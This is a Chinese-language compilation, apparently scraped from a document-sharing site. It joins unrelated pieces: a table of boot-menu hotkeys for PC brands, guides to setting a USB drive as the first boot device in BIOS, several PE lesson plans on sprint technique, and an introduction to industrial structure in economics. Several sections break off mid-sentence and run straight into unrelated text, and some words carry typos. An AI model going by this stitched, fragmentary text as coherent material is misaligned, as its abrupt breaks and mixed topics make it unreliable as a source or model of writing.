台式机品牌热键品牌笔记本 联想台式机F12 笔记本品牌热键 惠普台式机F12 联想笔记本F12 宏基台式机F12 宏基笔记本F12 戴尔台式机ESC 华硕笔记本ESC 神舟台式机F12 惠普笔记本F9 华硕台式机F8 联想Thinkpad F12 方正台式机F12 戴尔笔记本F12 清华同方台式机F12 神舟笔记本F12 海尔台式机F12 东芝笔记本F12 明基台式机F8 三星笔记本F12 IBM笔记本F12 富士通笔记本F12 海尔笔记本F12 方正笔记本F12 清华同方笔记本F12 微星笔记本F11 明基笔记本F9 技嘉笔记本F12 Gateway笔记本F12 eMachines笔记本F12 索尼笔记本ESC 方法一、利用按键选择U盘启动：一般的品牌机，例如联想电脑，无论台式机抑或笔记本，选择启动项的键都是F12,开机的时候按F12键会出现启动项选择界面，从中我们可以选择电脑从什么介质启动，一般可供选择的有光驱、硬盘、网络、可移动磁盘（U盘）。如果对英文不是很了解无法确定各个选项代表什么，可以通过一个单词来快速选择U盘启动，也就是在出现的启动项列表里找到一项带USB字样的就可以了。 方法二、这种方法没有统一的步骤，因为某些BIOS版本不同设置也不同，总的来说方

法二也分两种： 一种是没有硬盘启动优先级“Hard Disk Boot Priority”选项的情况，直接在第一启动设备“First boot device”里面选择从U盘启动； 另一种是存在硬盘启动优先级“Hard Disk Boot Priority”选项的情况，必须在这里选择U 盘为优先启动的设备，电脑是把U盘当作硬盘来使用的；然后，再在第一启动设备“First Boot Device”里面选择从硬盘“Hard Disk”或者从U盘启动。

快速跑—途中跑

《快速跑—途中跑》 福州格致中学鼓山校区吴永锋 【教学设计】 一、指导思想 根据新课改的精神，本着“健康第一”的指导思想，结合我校初一学生的实际情况，在教师的主导下，通过创设环境，建设班级体育氛围，充分发挥学生的积极性、主动性，让学生在探究、体验的过程中感受到学习与成功的乐趣。 二、学情分析 本次课的授课班级为初一7班的学生，共48人。该班学生学习态度端正、积极；上课纪律良好，学生不易受外界干扰。学生运动能力、性格爱好具有一定的差异，但是他们对于带有竞争性的练习都有比较大的兴趣。因此，本课根据学生的特点，运用“合作、竞争型”的教学模式来提高学生学习效率。 本次课是《快速跑》单元计划的第2次课，在第1次课中，学生已基本掌握了途中跑摆臂的技术要领，本次课将在新授课中结合复习第1次课内容。 三、教材分析 快速跑队队发展学生的力量、柔韧以及灵敏素质都有较为明显的效果。50米跑被选为唯一的一项体育中考的必考项目，这也决定了快速跑教材在初中体育教学过程中的基础性的地位。在快速跑中，途中跑技术的正确与否队学生的短跑成绩有着较大影响，所以，此次课队途中跑的摆臂、步幅、步频都采用了专门的练习方法。 四、教学目标 1.认知目标：通过讲解，学生能够进一步认识到快速跑的锻炼价值及意义，使学生能进一步了解途中跑的技术环节及动作要领。 2.技能目标：80%的学生能掌握途中跑的技术动作要领，提高快速奔跑的能力。 3.情感目标：培养学生自主学习,自觉锻炼,克服困难,团结协作的精神。 五、教学重点与难点 重点：后蹬充分，前脚掌积极着地，上下肢协调统一 难点：大步自然放松跑 六、教学方法 举例引导法、讲解示范法、教学比赛法 七、教学过程 本次课的基本流程大体分为：开始部分—热身导入—基本部分—结束部分。 在开始部分，主要以课堂常规为主，说明课的目标及要求。 热身导入部分，让组长带队进行沿篮球场慢跑练习，并加入“喊数抱团”游戏，在一定程度上训练了学生的反应能力，提高学生积极性。 基本部分，教师通过图片先进行动作的讲解，并做完整的示范，使学生直观了解到快速跑的

产业结构调整与升级

产业结构调整与升级 一、产业结构概念 产业结构是指各产业的构成及各产业之间的联系和比例关系。各产业部门的构成及相互之间的联系、比例关系不尽相同，对经济增长的贡献大小也不同。因此，把包括产业的构成、各产业之间的相互关系在内的结构特征概括为产业结构。 产业结构，亦称国民经济的部门结构。国民经济各产业部门之间以及各产业部门内部的构成。社会生产的产业结构或部门结构是在一般分工和特殊分工的基础上产生和发展起来的。研究产业结构，主要是研究生产资料和生活资料两大部类之间的关系；从部门来看，主要是研究农业、轻工业、重工业、建筑业、商业服务业等部门之间的关系，以及各产业部门的内部关系。决定和影响一个国家产业结构的因素一般有以下几类：（1）需求结构，包括中间需求与最终需求的比例，社会消费水平和结构、消费和投资的比例、投资水平与结构等；（2）资源供给结构，有劳动力和资本的拥有状况和它们之间的相对价格，一国自然资源的禀赋状况；（3）科学技术因素，包括科技水平和科技创新发展的能力、速度，以及创新方向等；（4）国际经济关系对产业结构的影响，有进出口贸易、引进外国资本及技术等因素。 二、产业分类 在经济研究和经济管理中，经常使用的分类方法主要有两大领域、两大部类分类法，三次产业分类法，资源密集度分类法和国际标准产业分类。 三次产业分类法是世界上较为通用的产业结构分类方法,根据社会生产活动历史发展的顺序对产业结构的划分。产品直接取自自然界的部门称为第一产业，对初级产品进行再加工的部门称为第二产业，为生产和消费提供各种服务的部门称为第三产业。 我国的三次产业划分是： 第一产业：农业（包括种植业、林业、牧业和渔业）。

快速跑途中跑技术

一、指导思想 本课以《体育与健康》课程标准为依据，以健康第一为指导思想和快乐体育为导向，面向全体学生，以学生的发展为本，体现学生的主体地位与教师的主导作用，挖掘学生的潜能，启发学生积极思考、主动探究和解决问题的能力。 二、学情分析 本课针对水平四的学生设计的。跑是中考体育的必考项目，学生面临升学的压力，平时缺乏针对性的练习，大部分的同学会跑，但能跑的好的同学还是比较少的，特别跑途中跑的时候。还有跑是比较枯燥的项目，所以，为了调动学生的积极性，提高学生的动作技术，树立终身体育锻炼意思，本课主要以限制训练法，启发、引导学生。让学生在途中跑的过程中体验运动的快乐，树立上进心。 三、教学目标 1、认知目标：使学生了解途中跑的技术动作要领、做法以及完整动作的相关原理，进一步提高跑的速度。 2、技能目标：通过本次课的学习，使学生初步掌握途中跑动作要领的练习方法。 3、情感目标：本课通过途中跑与游戏的练习，让学生了解爱护大自然的知识认知，提高学生自主互助的合作能力、做到善于思考、团结、合作等优秀品质 四、重点难点 难点：途中跑步幅均匀的节奏与折叠收腿动作 重点：初步了解与掌握途中跑的动作要领 五、教学过程 一、准备部分： 1.课堂常规：（1）体育委员集合整队清点人数；（2）师生相互问好； （3）老师宣布本次课的内容；（4）合理安排见习生。 2.绕田径场慢跑二圈(400米) 3.活动关节 a头部运动b扩胸运动c膝关节运动d手腕踝关节运动e正压腿f侧压腿 二、基本部分 （一）短跑途中跑技术动作教学 1、教师讲解，示范途中跑的技术动作 2、组织学生原地练习摆臂动作 3、原地高抬腿练习 4、上跑道练习途中跑技术 5、分组练习（1）、原地摆臂练习（2）、连续跳过小垫子（3）推荐自动互动跑（4）连续跑格子 （二）往返接力游戏 三、结束部分 （1）集合整队（2）放松操练习 （3）教师小结本次课的情况,表扬好的同学,鼓励技术差点的同学。（4）师生相互道

梅捷主板怎样设置BIOS第一启动顺序为U盘启动

梅捷主板怎样设置BIOS第一启动顺序为U盘启动？ 来源：https://www.sodocs.net/doc/095149186.html,时间：2013-07-19 02:16:07 梅捷主板N8怎样设置U盘启动？梅捷主板怎样设置U盘启动？U启动https://www.sodocs.net/doc/095149186.html, 小编跟大家一起研究梅捷主板如何设置BIOS第一启动顺序为U盘启动！ 方法一：（进入BIOS设置U盘启动） 1、首先把已经用U启动软件制作好启动盘的U盘插入电脑主机的USB接口（建议插到主机箱的后面的USB 接口处，这样会更好的识别U盘），然后开机，当出现开机画面的时候连续按“del”键进入BIOS设置主界面菜单，进入BIOS主菜单后找到并选择到“Hard Disk Boot”（有些可能显示“Advanced BIOS Features”，只要有这两个的其中一个只要选择就是了）然后按回车键。如下图： 2、按下回车键后会显示出三个选项，我们找到并按上下方向键选择到“USB-HDD”（部分机型会显示：“Hard Disk Boot Priority”那么就将其选择到第一即可），然后按“+”号键将该选项移动到第一位，再按回车键即可，如下图： 下图操作为：按“+”号键将“USB-HDD”选项移动到第一位

3、以上操作完成后接下来是保存当前的BIOS设置，我们按“F10”键，然后按回车保存退出并自动重新启动电脑，至此，进入BIOS设置U盘启动结束。重启后将会自动进入到U启动的主菜单了。 方法二：（不设置Bios直接进入U盘启动） 1、重复上述操作把已经用U启动软件制作好启动盘的U盘插入电脑主机的USB接口，开启电脑，出现开机画面时连续按“Esc”键或者“F12”键。（“Esc”不行就换“F12”呗，灵活运用嘛。） 2、然后利用方向键上下键“↑” “↓”选择从第二硬盘启动（前提我们要看到第二磁盘为U盘，才能实现以上的操作），最后按回车键即可。 3、此时电脑重启的时候将会自动从U盘启动了，就可以看到U启动的主菜单了。 （责任编辑：u启动https://www.sodocs.net/doc/095149186.html,） 上一篇：好好的U盘突然无法格式化或者格式化失败怎么办？ 下一篇：映泰主板怎样刷BIOS启动项顺序为U盘启动？

小学体育《快速跑---途中跑》教学设计

《快速跑---途中跑》教学设计 授课年级：三年级 《快速跑------途中跑》教学设计

一、指导思想 坚持“健康第一”的指导思想，在教学中运用新的教育教学观念，运用多种教法，引导学生探究合作学习，创设情景，激发学生学习积极性，培养快速奔跑中正确的身体姿势，发展速度素质，提高快速奔跑能力，享受体育活动的乐趣，获得身体心理和社会适应能力的发展与提高，并通过合作学习、交流学习，优化学习氛围，挖掘学生的潜能，提高学习效果。 二、教学目标： 1、使学生初步掌握快速跑的动作方法，提高快速奔跑的能力。 2、发展学生上下肢力量，灵敏度和耐力素质以及身体协调性 3、培养学生合作学习、交流学习的能力以及克服困难、挑战自我、积极上进的优良品质 三、教材分析 本课选自人教版（三—四年级）体育教材第三章：走跑与游戏。快速跑是小学三年级跑的重要教材。跑的快，是每个小学生展现自我的愿望，又使其体验到成功的喜悦与快乐。在教材内容的选择上，由于单纯的快速跑对于活泼好动、富有求知欲望的小学生来说，会显得枯燥无味。对此，在新课标理念指导下，根据学生的特点，在教学中通过情景导入：“给喜洋洋过生日”来激发学生的学习兴趣，从而达到本节课的教学目标。 四、学情分析 本课的教学对象是小学三年级学生，他们虽然有一定的奔跑能力，但学生协调性较差、注意力不集中，容易分散，所以，教师

在教学中要充分发挥学生的主体作用，从激发学生兴趣入手，结合多种专项练习，循序渐进，使学生基本掌握快速跑的技术动作，提高学生快速奔跑的能力。 五、教学重难点 教学重点：前脚掌扒地，后蹬有力，摆臂协调 教学难点：快速跑动作自然,摆动腿向前上方抬起,腿臂的配合 六、教学方法 （1）情景导入法：本课设计“为喜羊羊过生日，躲避灰太狼追赶”这样一个情景，使学生在竞争、欢乐中完成本节课的目标。 （2）讲解法：教师语言清晰、表达能力要强。 （3）示范法：本课采用示范法，使讲解更加形象生动。 （4）启发式教学法：本课启发学生自己思考、合作探究，合作学习，培养学生爱动脑，互帮互助的好习惯。 七、教学设计流程： 激情导入→热身准备→探究新知，学练提高→恢复身心。 八、教学效果预设： 1、学生基本掌握行途中跑的动作方法，提高学生快速奔跑的 能力，培养学生合作学习、交流学习的能力以及克服困难、挑战自我、积极上进的优良品质 2、平均心率：110—120次/分钟 3、练习密度：30%-40%